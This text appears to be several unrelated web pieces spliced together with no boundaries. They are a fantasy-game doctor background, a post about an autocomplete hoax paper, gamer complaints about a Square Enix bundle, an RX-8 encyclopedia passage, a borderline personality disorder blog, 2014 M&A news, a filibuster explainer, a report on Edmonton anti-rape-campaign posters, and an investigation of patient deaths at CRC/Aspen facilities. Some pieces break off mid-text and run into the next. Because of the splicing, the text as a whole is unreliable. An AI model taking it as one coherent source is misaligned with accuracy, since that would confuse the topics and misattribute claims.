Equipment: A piece of doctor's equipment (a scalpel, a pouch of aromatic herbs, or a small mirror), a healer's kit, a token of appreciation given to you by a patient, a set of traveler's clothes, and a belt pouch containing 15 gp
Specialty
As a doctor, you are likely trained in one particular field of medicine. Roll a d8 or choose one of the following options from the table below to determine your specialty.
d8 Specialty 1 Apothecary 2 Battlefield medic 3 Dentist 4 Folk healer d8 Specialty 5 Herbalist 6 Nurse 7 Surgeon 8 Veterinarian
Feature: House Calls
Your talents make you highly sought after, particularly in regions or communities with little access to medicine. Those who recognize you as a doctor may request your services, and may offer you a reward in return, should you choose to provide them. You might be able to receive free or discounted food and lodging or gain access to normally off-limits locations by leveraging your position as a healer, if your services are needed.
Suggested Characteristics
Doctors are defined by their ability to heal the sick, an ability which shapes their personalities and characteristics in many ways. All doctors are united by their desire to heal, although some view this ability as a means to an end rather than a gift in itself.
d8 Personality Trait 1 I am sympathetic to anyone in pain. 2 I have a tendency to become focused on my work to the exclusion of everything else. 3 When someone is injured, I will drop all other responsibilities to tend to them. 4 I have seen too much horror to be affected by scenes of suffering. 5 I am skeptical of magic, instead trusting in science. 6 I like to explain my theories of medicine to anyone who will listen. 7 I am constantly taking note of potential signs and symptoms in the people I meet. 8 I take every opportunity I can get to wash my hands.
d6 Ideal 1 Empathy. All I care about is the relief my skills bring to others. (Good) 2 Change. Those who seek to cure must be as adaptable as those who seek to harm. (Chaotic) 3 Respect. The sick and dying deserve to be treated with dignity. (Good) 4 Greed. Those in need of my services will pay through the nose to get them. (Evil) 5 Efficiency. I must not let emotions cloud my ability to do my job. (Lawful) 6 Preservation. Life must be preserved by any means. (Any)
d6 Bond 1 I'll always remember the place where I learned my medical skills. 2 Nothing is more important than my patients. 3 I am working on a cure for the plague that decimated my home. 4 Someone I loved died of an illness. I want to spare others from that same fate. 5 I am compiling my medical discoveries in a series of tomes, which I hope will educate future generations. 6 I have a terminal disease and am trying to find a cure before it's too late.
d6 Flaw 1 I am haunted by the memories of every patient I could not save. 2 I use hard drink to numb myself to stress. 3 I am disgusted by the body's potential for filth and disease. 4 I once made a mistake that cost a patient their life. I must make sure that no one finds out. 5 I have a tendency to see my patients as opportunities rather than people. 6 I am hesitant to injure others, even in self-defense.
Image Credit: http://prince-pocky.deviantart.com/Automatically generating scientific articles has become easy with dedicated software such as SCIgen. Even a paper that only repeated the sentence “Get me of your fucking mailing list” was recently accepted for publication. Today I received an invitation from the International Conference on Atomic and Nuclear Physics to submit a paper. Since I have practically no knowledge of Nuclear Physics I resorted to iOS auto-complete function to help me writing the paper. I started a sentence with “Atomic” or “Nuclear” and then randomly hit the auto-complete suggestions. The text really does not make any sense. After adding the first illustration on nuclear physics from Wikipedia, some references and creating a fake identity (Iris Pear, aka Siri Apple) I submitted the paper which was accepted only three hours later! I know that iOS is a pretty good software, but reaching tenure has never been this close.
UPDATE (27/10/2016): Turns out that conference organizer, OMICS Group, is currently under federal investigation.
Here is a short demonstration on how I wrote the paper:
Here is the acceptance notification:Hundreds of customers have got into the spirit of the holidays by complaining about a festive Square Enix promotion that saw the company hand out Steam keys for Tomb Raider, Just Cause 2, Hitman: Blood Money, and Dungeon Siege III for £4.99/€6.99.
The Square Enix Christmas Surprise box was offered to European customers between December 12 and 20, with the mystery box promising an unspecified selection of items that had a combined retail value of £50/€75. When the games were announced at the end of last week, however, some customers (quotes provided as written) proved that people really can complain about anything on the Internet and took to the Square Enix blog to vent their frustration.
"Wow a whole lotta nothin what a waste of a fiver I only play RPGs had been hopin for atleast one ff or something atleast worth playing and that voucher is just a rip off hell no will I be wasting any more money in your store," said user kimmonie.
"I was hopping for Sleeping Dogs with all DLC and FF8, but expected that kind of rip off, so no dissapointment, rather confirmation what I suspected. All this games in pack I can easily buy for less than 20€," added eikichiy shortly afterwards.
Many users emphasised that a lack of any Final Fantasy titles in the bundle was a key reason for their disappointment. "Total let down... Was expecting atleast 1 Final Fantasy game! Shame on You square!" said Martyric. User Xemnaroth added that they felt "cheated" by the lack of a Final Fantasy title. Many users felt that Square Enix would have included its recent PC re-release of Final Fantasy VIII in the mystery box.
Some other users voiced their dissatisfaction that they could pick up the games from the £4.99 bundle individually in various price promotions for approximately £10 at the time.
User medion_no summed up the situation felt by many of the Square Enix blog's commenters. "If you settle for nothing good with you!. Pathethic is defending a multimillion dollard company that puts in its 'christmas suprise' a game that is gonna receive a 'Definitive Edition' just around the corner, a game from the PlayStation 2 generation, two low key and bargain bin games. Ah, and sold it like it was the panacea |
..[15]
The RX-8 has been used occasionally for professional drifting, with drivers like Masao Suenaga from Japan, "Mad" Mike Whiddet from New Zealand, and Kyle Mohan from the USA choosing the develop the chassis each to suit their own goals.[16][17][18]
Successor [ edit ]
The next generation rotary engine, dubbed 16x (Sky R), is currently under development.[19] Rumours suggest that the RX-8 may be replaced by a new smaller, lighter, simpler sports car set to compete with the likes of the Toyota 86. Mazda’s new 16x (Sky R) rotary engine is rumored to be at the heart of the RX-8 successor. Rumors suggest the RX-8 successor will include the introduction of direct injection and hybrid technology, as well as aluminium side housings with 1,600 cc capacity instead of the 1,308 cc capacity from the RX-8. Rumors also suggest that the new engine dimensions of the 16x will have increased stroke and reduced rotor width for improved thermal efficiency and more torque. Japanese reports and Autocar both state that the next generation RX-8 will have around 290 horsepower, and weigh around 2,700 lb (1,200 kg)
Rumors suggest that development work on the next generation rotary engine have been given a lower priority and will proceed at a slower pace, owing to limited engineering resources and tightening emission regulations, making development of a high-performance rotary engine a lower priority compared to the next generation MX-5.[20] However, in a press release on February 2012 Mazda stated that development of rotary engines will continue.[21][22][23]
Sales of the RX-8 ended in 2010 in Europe after failing to meet the region's emission standards.[24][25][26][27]
The production of the RX-8 ended in 2012 in Japan. Mazda has produced 192,094 RX-8s since 2003.[12] Production of the rotary ended in June 21, 2012, followed by the end of RX-8 assembly on June 22, 2012 at Mazda's Ujina, Hiroshima plant.[28][29]
By the end of 2015 the trend away from rotary engines at Mazda seems to be reversing, with the announcement of the Mazda RX-9 which incorporates some of the improvements mentioned above but heavier and more powerful than the RX-8.
Awards [ edit ]
As of October 2006 the RX-8 has won 37 international motoring awards including 2003 International Engine of the Year, the 2003 Japanese Car of the Year, Australia's Wheels magazine's Car of the Year for 2003, the 2004 Singapore Car of the Year, the 2004 U.S. Best Sports Car, and several UK Best Car Awards. It was named on Car and Driver magazine's Ten Best list for 2004, 2005, and 2006. It also took home 1st place on Car and Driver's "Four of a Kind" comparison test.[30] 2010 RX-8 placed 3rd out of 7 on Car and Driver's The Best-Handling Car in America for Less Than $100,000.[31][32] It was also awarded the Editors' Choice Award by Grassroots Motorsports in 2003.[33]What is BPD and why the bad rap?
All any person is ever trying to do in, well, life is to get their needs met. We have social, professional, intimate, collegial needs in addition to personal, emotional, spiritual and physical needs. The popularity of the self-help industry indicates that a lot of us aren’t getting all of those needs met, but arguably everyone is doing the best that they can and most people have a somewhat organized way to connect with others and feel okay. Borderline personality disorder is the diagnosis used to describe someone who is overwhelmed by their emotions, struggles to get their needs met, and is emotionally unregulated.
A full description of the criteria for borderline personality disorder is here. When taken as a whole, the symptoms describe a person who struggles managing emotions and relationships. To someone who experienced attachment trauma, other people can be either idealized or vilified, much time and attention is spent avoiding abandonment, and most relationships are short and intense. There can be a feeling of chronic emptiness, and perhaps a lack of sense of identity or self-concept. The individual can be impulsive, quick to anger, dissociative and do self-harm and sometimes have a history of suicide attempts.
Interestingly, the same dysregulation graph that showed trauma dysregulation applies to emotional patterns in folks with BPD, except that instead of representing the fight-or-flight response, this applies to the emotional experience in general. That is, folks with BPD follow the red line for happiness, sadness, love, despair, etc. They are extra sensitive, peak higher, and return to baseline more slowly than folks who are more regulated.
What’s BPD’s connection to trauma?
Marsha Linehan describes the etiology of the borderline personality disorder as both biological and environmental, and either one can be more important depending on the person. One idea is that folks with BPD experienced attachment trauma when they were very young.
When we’re infants and toddlers we learn how the world will respond to us. If our world, or caregivers, respond in an inconsistent, or cold, or highly anxious manner, then we don’t learn to care for ourselves, and we often internalize that we deserve to be treated badly because there is something wrong with us.
So it’s the mother’s fault? No, not necessarily! Someone can have the most wonderful parents, but maybe an illness or something causes an absence that can’t be explained to a baby. That could be experienced as rejection or abandonment by some babies, and not others, depending on their temperament, environment, etc.
The good news is that there is treatment for both attachment trauma and borderline personality disorder. That’s another post in itself, but if you’re wondering whether you have BPD, or just think you might benefit from some help with regulation, therapy is a great place to start.Global merger & acquisition (M&A) activity has reached fever pitch this year, matching levels not seen since 2008. One analyst told CNBC he was concerned that the surge could indicate that bubbles are forming in the market.
According to data provider Dealogic, global M&A volume reached $804.5 billion in the first quarter of 2014, up 23 percent on the same period a year before, marking the highest level for the first quarter since 2008.
"M&A is getting a little crazy now. The first three months of this year we've had the highest M&A since 2008. Now does anyone remember what happened in 2008, wasn't there some kind of a global crisis? When you reach a peak in M&A it's usually a peak in the stock market," said Bert Dohmen, president and founder of Los Angeles-based Dohmen Capital Research Institute.
Read MoreGetting hostile—unfriendly M&A hits pre-crash high
In a separate report, Dealogic found that hostile merger and acquisition (M&A) activity around the globe has reached a seven-year high, at levels not seen since before the global financial crash of 2008.
Hostile takeovers occur when an acquiring company does not strike an agreement with the target company's management, instead going directly to shareholders with a deal, or replacing management.
Year-to-date hostile activity stands at $273.4 billion, according to Dealogic. Last year's figure for the same year-to-date period stood at just $70.6 billion. This year's performance so far looks to be the highest since 2007's figure of $377.4 billion.
M&A megadeals
The data come after a number of high-profile M&A megadeals in 2014. This week, headlines focused on U.K. pharmaceutical AstraZeneca's rejection of a revised £69 billion ($116 billion) acquisition bid from rival Pfizer.
On Monday, AstraZeneca said the U.S. company's "final" offer was inadequate and would present significant risks for shareholders, however, some shareholders have expressed disapproval of the deal rejection.
AstraZeneca Chair: Shareholders can 'vote me away'
Meanwhile, in the U.S., multinational communications corporation AT&T proposed to buy satellite TV provider DirecTV for $48.5 billion.
Other bumper deals that have hit the headlines this year include Facebook's $19 billion acquisition of WhatsApp in February, while in Europe a deal between GlaxoSmithKline and Novartis involved trading 11 billion pounds worth of assets ($18.5 billion).
But Dohmen warned that there are worrying parallels between the recent surge in M&A activity and the similar build-ups seen in 1999-2000, and in 2007-2008, which preceded market crashes.
"It's too exuberant. When companies have too much cash, they do not spend it wisely. Companies don't care about value anymore, all they care about making is deals," he added.
Read MoreJamie Dinan: Look to M&A activity
Furthermore, Dohmen warned that the frenzied pace of M&A activity this year is an indicator of bubbles in the economy. He highlighted stretched valuations on the Russell 2000 Index - a U.S. index consisting of small-cap stocks - where the price to earnings ratio is an average of 73, he said, compared to the Nasdaq's 35 and the S&P 500's 17.ADVERTISEMENT
What is a filibuster?
It’s a procedure used in the U.S. Senate to prevent legislation or nominations from ever getting past the talking stage. Senate rules allow members to debate a matter indefinitely, unless at least 60 out of 100 senators vote to cut off debate, or “invoke cloture.” The debate doesn’t even have to take place. Senators can simply indicate that they’ll oppose a cloture vote, and if they have 41 votes, supporters of the bill or nomination will often pull it before the debate even begins. In other words, the mere threat of a filibuster is now enough to derail a bill. Just last week, President Obama withdrew the nomination of his choice for a slot on the National Labor Relations Board because Democrats, who now have a 59–41 majority in the chamber, could not muster the 60 votes they needed to cut off “debate.” Last fall, Nebraska Sen. Ben Nelson, a Democrat, refused to vote for cloture on the Democrats’ health-care-reform measure until it was modified to add Medicaid benefits for his home state—a deal critics quickly dubbed the “cornhusker kickback.”
Has the filibuster always worked this way?
No. It used to be far more entertaining—or at least more obvious. Until a rule change was enacted in 1975, senators actually had to take to the floor and talk, and talk, and talk—like the iconic scene in Mr. Smith Goes to Washington, in which Jimmy Stewart’s character recites the Constitution until he collapses from exhaustion. In 1957, South Carolina Sen. Strom Thurmond temporarily succeeded in stalling a civil-rights bill by speaking uninterrupted for a record 24 hours, 18 minutes. He’d prepared by spending hours in the Senate steam room, dehydrating himself so he wouldn’t need a bathroom break. Back in 1908, Wisconsin Sen. Robert La Follette so exasperated his colleagues by filibustering a currency bill that somebody slipped him a glass of ptomaine-laced milk. La Follette had to leave the floor to vomit, bringing his filibuster to an ignominious conclusion. Such undignified scenes eventually helped persuade senators to implement the more low-key filibuster in effect today.
Don’t filibusters subvert majority rule?
That’s the point. The word “filibuster” is a corruption of the Dutch word for the 19th-century pirates who plied the Caribbean, capturing entire islands with just a handful of men. Like those pirates, a few determined senators can take a bill hostage, even if the bill enjoys wide popular support. And while that might seem unfair—and even undemocratic—most legal scholars agree it’s permitted by Article 1 of the Constitution, which gives both houses the right to make their own rules. Senate rules have always encouraged prolonged debate, reflecting George Washington’s view of the Senate as a “saucer” where the superheated passions of the moment can cool. “The filibuster is frustrating, literally and intentionally,” says Washington Post columnist Ruth Marcus. But “it is wonderful if you are trying to block something bad from happening.”
How often is the tactic used?
Until the 1970s, filibusters were generally reserved for momentous bills, like declarations of war or civil-rights measures. But during the George W. Bush administration, Democrats used the filibuster threat to block several of Bush’s more conservative judicial nominations. And since the Republicans lost their Senate majority in 2006, they have returned the favor, to the point where filibusters are now routine. In the 1975–76 session, there were 39 cloture votes; by the 2007–08 session, there were 139, and that record is likely to be shattered by the current Senate. “The Senate is set up culturally not to act on anything quickly, and that’s a good thing,” says congressional historian Norman Ornstein. “But there can be too much of a good thing.”
Can’t Democrats just kill the filibuster?
Not easily. Senate rule changes require the backing of at least 67 senators. But some Democrats are now contemplating an alternative way to kill the filibuster once and for all, using a tactic that’s been dubbed the “nuclear option.” It involves a complicated series of parliamentary maneuvers that would end with Vice President Joe Biden, in his capacity as presiding officer of the Senate, declaring the filibuster to be unconstitutional, because it usurps his power to break Senate deadlocks. The move would almost certainly provoke a constitutional crisis, but at least some Democrats want to give it a try. Former party Chairman Howard Dean admits that Democrats would miss the filibuster when they’re once again in the minority. But “for the good of the country,” he says, “we probably have to eliminate it.”
What’s good for the goose …
In January, Vice President Joe Biden, formerly a longtime senator from Delaware, gave a rousing speech denouncing Republican filibusters. “I have never seen the Constitution stood on its head as they’ve done,” he said. “This is the first time every single solitary decision has required 60 senators.” But he’d sounded quite a different note in 2005, when he and his Democratic colleagues were frequently resorting to the filibuster to bottle up President Bush’s judicial picks. “At its core,” Biden said at the time, “the filibuster is not about stopping a bill, it’s about compromise and moderation.” But hypocrisy over the filibuster is a bipartisan affair. Back when Biden was defending the filibuster, Alabama Republican Sen. Jeff Sessions bawled out his Democratic colleagues for their “unprecedented” and “obstructionist” tactics. Today, Sessions defends the filibuster, saying that his party “cannot acquiesce to philosophy that says Democratic presidents can get their judges confirmed with 50 votes.” The shifting stances of both sides bear out a point about the filibuster made by Senate historian Donald Ritchie. “It’s really not a Republican Party position and a Democratic Party position,” he says. “It’s a minority-party position and a majority-party position.”EDMONTON—The authors of a controversial poster plastered around Edmonton that suggests reporting rape can be an act of revenge are speaking out. Recently, the Edmonton police service started an advertising campaign called “Don’t Be That Guy,” which advises that sex without consent constitutes sexual assault.
A campaign by a group called Men’s Rights Edmonton, called “Don’t Be That Girl,” suggests some women lie about being raped and that rape is overreported. Police in Edmonton started a campaign against sexual assault with the tagline "Don't be that guy."
A group called Men’s Rights Edmonton started their own campaign called “Don’t Be That Girl,” which suggests some women lie about being raped and that rape is overreported. The poster depicts attractive young women drinking in the company of young men, and has the caption: “Just because you regret a one-night stand doesn’t mean it wasn’t consensual.” The University of Alberta ordered the posters be taken down, saying that while free speech is respected the posters violated the school’s posting policies.
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Men’s Rights Edmonton says the poster was meant to provoke discussion about false accusations and double standards. MORE ON THESTAR.COM: Genetic risks found in half of autistic children: study Quebec train derailment: Before and after photos “Nobody wants to see sexual assault happen, nobody wants to see rape happen, but we have to stop thinking of this as a gender problem,” says a member, who would only identify himself as Raz.
“What posters like ‘Don’t be that guy’ do is they essentially insert that if men are told not to rape, they rape, which is completely false.” Raz says the group has gotten positive feedback about the posters.
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“This is something that has negatively impacted my family and my life and nobody is talking about it,” says Raz. “The presumption is out of the gate that you are probably guilty, and it’s because of this misinformation that our society has become saturated with.” Karen Smith, executive director of the Sexual Assault Centre of Edmonton, says she was saddened by the posters. “I’m really disappointed that these people would decide to not recognize that there’s a significant problem of sexual assault in our community,” Smith said. The Edmonton police say their campaign was meant to encourage victims of sexual assault to come forward. “To demean these crimes goes against that and to belittle them goes against that,” says acting Insp. Sean Armstrong. Police say about one per cent of sexual assaults they investigate are found to have been fabricated.Clockwise from top left: Brendan Blum, Sergey Blashchishen, Matthew Meyer and Lindsey Poteet. Aspen Education already faced a wrongful death lawsuit over Meyer when Bain and CRC Health Group bought the company in 2006. Six deaths since the takeover, including Blum, Blashchishen and Poteet, have generated either lawsuits or complaints of neglect. Dark side of a Bain success A for-profit health company bought by Bain -- that Romney profits from -- has exploded in size and tales of neglect
It seemed a world away from the executive suites of Bain Capital when Dana Blum, a recent widow living in Portland, Ore., made the fateful decision to send her son Brendan to Youth Care, a residential program for troubled teens located in the suburbs of Salt Lake City.
Brendan, a 14-year-old boy with Asperger’s syndrome, had been extremely aggressive for years; he was even arrested a few times after attacking members of his family. Local therapists hadn’t helped, and six months after her husband died, Dana was frantically casting about for solutions. A consultation with UCLA’s neuropsychiatric unit convinced her that Youth Care’s therapeutic and educational program would finally make a difference.
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Four months into his stay there, Brendan had earned a reputation as a temper-prone student who tried to shirk his obligations. So on the afternoon of June 27, when he complained to medical staff that he felt very sick, as if something were “crawling around” in his stomach, his concerns were dismissed. After 11 p.m., he woke up, complaining of stomach pain, and defecated in his pants. The on-duty monitors took him to the Purple Room, a makeshift isolation room used to segregate misbehaving students. There, he suffered a long night of agony, howling in pain and repeatedly vomiting and soiling himself. According to court transcripts and police reports, the two poorly paid monitors on duty did little more than offer him water, Sprite and Pepto-Bismol. They never telephoned the on-call nurse and waited until nearly 2 a.m. to contact the on-call supervisor, only to leave a voicemail. There was little else they felt they could do — Youth Care’s protocol on emergency services meant they were too low on the totem pole to call 911 themselves.
“They didn’t trust our judgment in emergency situations,” explains Josh Randall, a former Youth Care residential monitor, who wasn’t on duty that night. “If you’re working for $9.50 an hour on the graveyard shift, you don’t want to buck the system.” At any rate, the monitors had little expertise in how to respond — it was an entry-level job requiring only a GED, plus a CPR and safety course overseen by Youth Care itself.
When the morning staff arrived at 7 a.m., they discovered Brendan facedown on the floor of the Purple Room, his body already stiff with rigor mortis. The state’s chief medical examiner later determined that Blum had died of a twisted-bowel infarction, which requires emergency surgical intervention.
“It made me very angry that they couldn’t provide better emergency services for my son,” Dana Blum told the online magazine Momlogic. “I feel like he was murdered” — although, in fact, no court has ever found Aspen or its staffers guilty of murder. Blum, who, with the help of insurance and school district aid, paid Youth Care $15,000 a month to care for her son, made those remarks in 2009; she can no longer speak publicly about Brendan’s death, according to the terms of a settlement she reached last year in a wrongful death lawsuit against Youth Care and its parent company, Aspen Education.
The failure at Youth Care was not due simply to the carelessness of a few workers — a point underscored when a Utah court found that the threshold needed to pursue criminal negligence charges against the two monitors in 2008 wasn't met and the charges were dismissed. And it wasn't the only example of alleged negligence or abuse at treatment centers for adult addicts and "troubled teens" that are owned by Aspen's parent company, CRC Health Group, according to a Salon investigation based on government reports, court filings and official complaints by parents and employees, along with interviews with former clients and staff.
Our investigation found previously unreported allegations of abuse and neglect in at least 10 CRC residential drug and teen care facilities across the country, including three I visited undercover in Utah and California. With rare exceptions, such incidents have largely escaped notice because the programs are, thanks to lax state regulations, largely unaccountable.
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Court documents and ex-staffers also allege that such incidents reflect, in part, a broader corporate culture at Aspen’s owner, CRC Health Group, a leading national chain of treatment centers. Lawsuits and critics have claimed that CRC prizes profits, and the avoidance of outside scrutiny, over the health and safety of its clients. (We sent specific questions on these basic allegations to CRC and owner Bain Capital. CRC would answer only general questions; Bain did not reply.)
And CRC’s corporate culture, in turn, reflects the attitudes and financial imperatives of Bain Capital, the private equity firm founded by Mitt Romney. (The Romney campaign also did not reply to written questions.) Bain is known for its relentless obsession with maximizing shareholder value and revenues. Indeed, this has become a talking point of late on the Romney campaign trail; he bragged to Fox in late May that “80 percent of them [Bain investments] grew their revenues.” CRC, a fast-growing company then in the lucrative field of drug treatment, was perhaps a natural fit when Bain acquired it for $720 million in 2006. In conversations with staff and patients who spent time at CRC facilities since the takeover, there are suggestions that the Bain approach has had its effects. “If you look at their daily profit numbers compared to what they charge,” Dana Blum said of CRC’s Aspen division in 2009, “it’s obscene.” That point, ironically enough, was underscored by the glowing reports in the trade press about its profitability.
The purchase of CRC came seven years after Romney publicly announced his retirement as CEO of Bain Capital, where he had been in charge since its founding in 1984. But at the time of his departure, Romney worked out an arrangement to continue to share in Bain’s profits as a limited partner in the firm. Today, he is still an investor in 48 Bain accounts. Though he has refused to disclose their underlying assets, some information about them can be gleaned. For example, he has reported at least $300,000 to $1.2 million, if not more, in fluctuating annual earnings from Bain Capital VIII, the convoluted $3.5 billion array of related funds that owns both name-brand companies such as Dunkin’ Donuts and the lesser-known CRC Health Group. Most of these funds were made more attractive to privileged investors by being registered in the Cayman Islands tax haven. And Romney’s connections to CRC run even deeper: Of the three Bain managing partners who sit on CRC’s board, two, John Connaughton and Steven Barnes (with his wife), gave a total of half a million dollars to Restore Our Future, the super PAC supporting Romney. They also each donated the $2,500 maximum directly to his campaign.
Bain takes over
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When Bain purchased CRC, it looked like an investment masterstroke. The company, founded in the mid-’90s with a single California treatment facility, the Camp Recovery Center, had quickly grown into the largest chain of for-profit drug and alcohol treatment services in the country, with $230 million in annual revenue. Under Bain’s guidance, its revenue has nearly doubled, to more than $450 million. CRC now serves 30,000 clients daily — mostly opiate addicts — at 140 facilities across 25 states. In the first five years after its acquisition, Bain had already extracted nearly $20 million in management-related fees from the chain, although Bain investors haven't cashed in yet through dividends or an IPO. Bain’s purchase, a leveraged buyout, also saddled CRC with massive debt of well over $600 million.
According to company executives and independent analysts, hands-on oversight of subsidiary companies is a hallmark of both Bain and CRC. Romney’s campaign literature boasts about Bain taking exactly this sort of direct role in helping to turn around failing companies. “Over the life of an investment, they have a strong management team willing to participate,” Sheryl Skolnick, an analyst with CRT Capital, a leading institutional brokerage firm, says of Bain.
The CRC acquisition immediately made Bain owner of the largest collection of addiction treatment facilities in the nation. Unlike some Bain Capital acquisitions, which led to massive layoffs, the company’s approach with CRC was to boost revenues by gobbling up other treatment centers, raising fees, and expanding its client base through slick, aggressive marketing, while keeping staffing and other costs relatively low. But that rapid pace of acquisition couldn’t be sustained in the mostly small-scale drug treatment industry alone. So Bain Capital and CRC set their sights on an entirely new treatment arena: the multibillion-dollar “troubled teen” industry, a burgeoning field of mostly locally owned residential schools and wilderness programs then serving, nationwide, about 100,000 kids facing addiction or emotional or behavioral problems.
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One of CRC’s first acquisitions under Bain ownership was the Aspen Education Group. Founded in 1998 with about six schools, Aspen Education had expanded to 30 troubled-teen and weight-loss programs by 2006, including Youth Care of Utah. With Bain’s backing, CRC purchased Aspen for nearly $300 million in the fall of 2006.
Less than a year later, Brendan Blum was dead.
At the time of the CRC acquisition, Aspen already had a history of abuse allegations, including at least three lawsuits, and two known patient deaths, one by suicide. Featured on "Dr. Phil," it grew out of schools inspired by the “tough-love” behavior-modification approach of the discredited Synanon program, which was eventually exposed as a cult. By 2006, Aspen was facing a wrongful death lawsuit, later settled, over an incident in 2004 in which a 14-year-old boy, Matthew Meyer, perished from heat stroke just eight days into his stay at its Lone Star Expeditions wilderness camp in Texas. Nevertheless, less than a year after Meyer died, NBC’s "Dateline" extolled Lone Star as part of a puff piece on Aspen’s success with overweight teens. As an Aspen press release boasted, the show told how a rebellious student who did a stint at Lone Star “returned a month later with a new outlook on life.”
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In October 2006, just nine months before Brendan Blum died and as Bain’s deal to purchase Aspen Education was being finalized, CRC received a far less upbeat assessment of Aspen’s services. Following some phone conversations, family therapist Elisabeth Feldman walked into CRC’s Cupertino, Calif., headquarters to see Dr. Thomas Brady, a psychiatrist then serving as CRC’s chief medical officer, in order to confront him about a host of issues at Youth Care. She had stumbled upon the problems while trying to help her son’s former girlfriend, a teenage girl who had suffered what Feldman called “gross mistreatment” at Youth Care. Of particular concern to Feldman was a three-month delay before Youth Care hired a psychiatrist to assess the young woman’s deep depression and a failure to treat her Lyme disease. Feldman's ultimately unsuccessful crusade to get the woman released had led her to seek the services of a Salt Lake City lawyer, Thomas Burton, who had settled two lawsuits against Aspen Education for fraud, neglect and abuse.
Feldman had been part of Brady’s professional referral network for years, but this visit wasn’t congenial. Feldman presented Brady with a 100-page sheaf of legal and corporate documents — including her affidavit describing "brutish punishment and isolation" at Youth Care — about Aspen Education programs in order to help support her charges of abusive treatment and neglect. These claims included reportedly covering up the alleged sexual assault of a female student by an Aspen employee at Turn-About Ranch in Utah; the girl was later duct-taped and restrained by staff, a former employee, Toni Thayer, told Feldman, after writing complaints about abusive staff conduct to management, state regulators and the Garfield County sheriff in 2004 — but no sanctions followed. (Subsequently, a lawsuit filed in June 2012 charged that staffers at the ranch engaged in the "torture" of a 15-year-old girl in 2005. UPDATE: The lawsuit was dismissed on statute of limitations ground, without reaching the merits.) According to Feldman, Brady said he wasn’t aware of any problems at Youth Care or Aspen Education and sought to mollify her about Bain’s pending purchase of Aspen: “I have to trust that Bain did their due diligence,” she recalls him saying. Dr. Brady confirmed, by email, that he spoke on the phone and met with Feldman, but said he has “no recollection” of making those remarks. And he insists that the documents she brought didn’t support her claims of mistreatment. Even so, he says he took her concerns seriously and that CRC and Aspen conducted a thorough review. “I came to the conclusion,” he said, “there was no merit to the accusations.” He remained as CRC’s medical director until May 2009 and said that although he encountered a few “untoward event” cases at Aspen during his time there, he saw no “pattern” of unsafe care.
At any rate, Bain’s purchase of Aspen Education went ahead smoothly. When, months later, Feldman learned about Blum’s death, she was horrified to realize her warnings had had no effect. “For Bain and the big guys, nobody cared,” she says. “It was all about the money.”
Questionable deaths
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When he died, Brendan Blum’s was the first publicly reported death due to apparent neglect in CRC’s 12-year history. But in the six years since Bain Capital acquired the company, there have been at least five more seemingly preventable deaths of patients at CRC’s residential programs. Since the Bain takeover, critics and former employees charge that corporate attitudes have too often emphasized cutting costs and limiting public scrutiny at the expense of safety and quality of care. These tendencies appear to have produced risky, potentially life-threatening practices — only a handful of which have drawn public attention.
Several lawsuits have been filed against CRC over mistreatment of its clients, but the company has never acknowledged any wrongdoing and has kept confidential any damage payments arising from legal settlements. CRC is a significant player in the scandal-prone, decentralized field of residential teen treatment that has more than 1,000 scattered facilities; the firm has nearly 36 therapeutic schools, wilderness sites and weight-loss programs catering to youth.
The latest lawsuit over CRC's current practices was filed in January against CRC’s prestigious $40,000-a-month Sierra Tucson drug treatment center in Arizona, for the allegedly poor monitoring and treatment of what the lawsuit says was an obviously suicidal 71-year-old patient, Dr. Edward Litwack; the center’s own staff had assessed him as a “high” risk for suicide, requiring one-on-one supervision. He was reported missing last August, but it took two weeks for the staff to find his corpse on the grounds. Last October, after an investigation by Arizona regulators following Litwack’s disappearance found 42 major violations, the center was put on one-year probation. The regulators found that ill-trained monitors spent too much time patrolling on golf carts rather than actually interacting with patients. CRC had purchased Sierra Tucson in 2005 for $130 million as its “crown jewel” shortly before plans to sell CRC to Bain were announced. “Then the business side started controlling admissions,” says a former employee, who worked at Sierra Tucson before and after the CRC acquisition. “It doesn’t take a brain scientist to realize that if you reduce staff [in key programs] and add sicker patients, there’s going to be trouble.” With the addition of a new 44-bed lodge in 2007, staff at Sierra Tucson was stretched thin, former staffers say; by 2009, a state licensing office fined the facility for having insufficient staff to prevent high-risk patients from wandering off.
Other incidents suggest a corporate culture that often downplayed safety and quality of care. In 2010, at least two drug treatment patients died at the overcrowded New Life Lodge in Burns, Tenn., according to wrongful death lawsuits and an investigative series in the Tennessean. According to an account in the Tennessean, based on public records and interviews with people at New Life Lodge, one of the patients, a 29-year-old mother named Lindsey Poteet, had come down with pneumonia and was drifting into unconsciousness when she was driven in a private van to a Nashville hospital 30 miles away. The journey was undertaken on orders of the facility’s medical director, although another hospital lay just eight miles down the road. Poteet stopped breathing en route and died the next day in Nashville. The other, Patrick Bryant, died on his 20th birthday just four days after being admitted to New Life; his mother alleges that he’d been misprescribed several medications and had been unresponsive for hours before being discovered by staff.
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A third patient, 18-year-old Savon Kinney, died last October just days after leaving New Life in a state of disorientation, his sister told the newspaper; his death sparked a state investigation.
After the Tennessean series appeared last summer and fall, the state’s Department of Mental Health froze all new admissions to the facility. (It was finally allowed to admit a smaller number of new patients in early April.) One former patient, Malea Fox, who had befriended Poteet at New Life, told me that she called state Medicaid (also known as TennCare), the facility’s primary funder, to complain that the facility was far too overcrowded for personalized care. “All they [New Life] care about is making money,” she said.
In 2009, the state of Oregon forced the closing of two teen programs run by Aspen Education. State investigators found nine cases of abuse and neglect at Mount Bachelor Academy in central Oregon, including incidents of “sexualized role play,” in which young patients were allegedly forced to do lap dances during therapy sessions. After Mount Bachelor and its director threatened costly lawsuits, the state’s Department of Human Services softened the language of the report; CRC claims the allegations were false (while also fighting $37 million in abuse lawsuits over the school's pre-CRC practices). Even so, DHS “stands by our findings,” a spokesman says of the 2009 report. That same year, at SageWalk Wilderness School in Hampton, Ore., 16-year-old Sergey Blashchishen died of heatstroke on his very first school hike, in an incident eerily reminiscent of Matthew Meyer’s 2004 death in Texas. One morning in August, Blashchishen suited up in an 80-pound backpack; by afternoon, the heat had topped 80 degrees, and he was soon staggering, drifting off the trail, and complaining of dizziness and exhaustion. Staffers contended he was faking his symptoms and failed to call 911 until his pulse had stopped; that death is the focus of a negligent homicide investigation.
